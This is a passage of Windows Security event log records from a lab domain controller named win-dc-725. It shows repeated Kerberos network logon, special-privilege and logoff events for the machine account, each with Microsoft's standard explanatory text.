assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBE5FF - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248704 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBFAB8 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248703 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xBFAB8 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64005 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248702 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBFAB8 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248701 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBFA43 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248700 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xBFA43 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64004 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248699 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBFA43 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248698 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBF9C9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248697 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xBF9C9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64003 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248696 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBF9C9 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248695 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBF952 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248694 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xBF952 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64002 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248693 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBF952 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248716 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC11B9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248715 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC11B9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64009 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248714 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC11B9 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248713 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC1156 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248712 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC1156 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64008 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248711 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC1156 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248710 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC10F0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248709 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC10F0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64007 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248708 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC10F0 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248707 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC108D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248706 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC108D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64006 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248705 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC108D - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248728 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC2721 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248727 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC2721 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64013 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248726 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC2721 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248725 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC26AE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248724 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC26AE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - 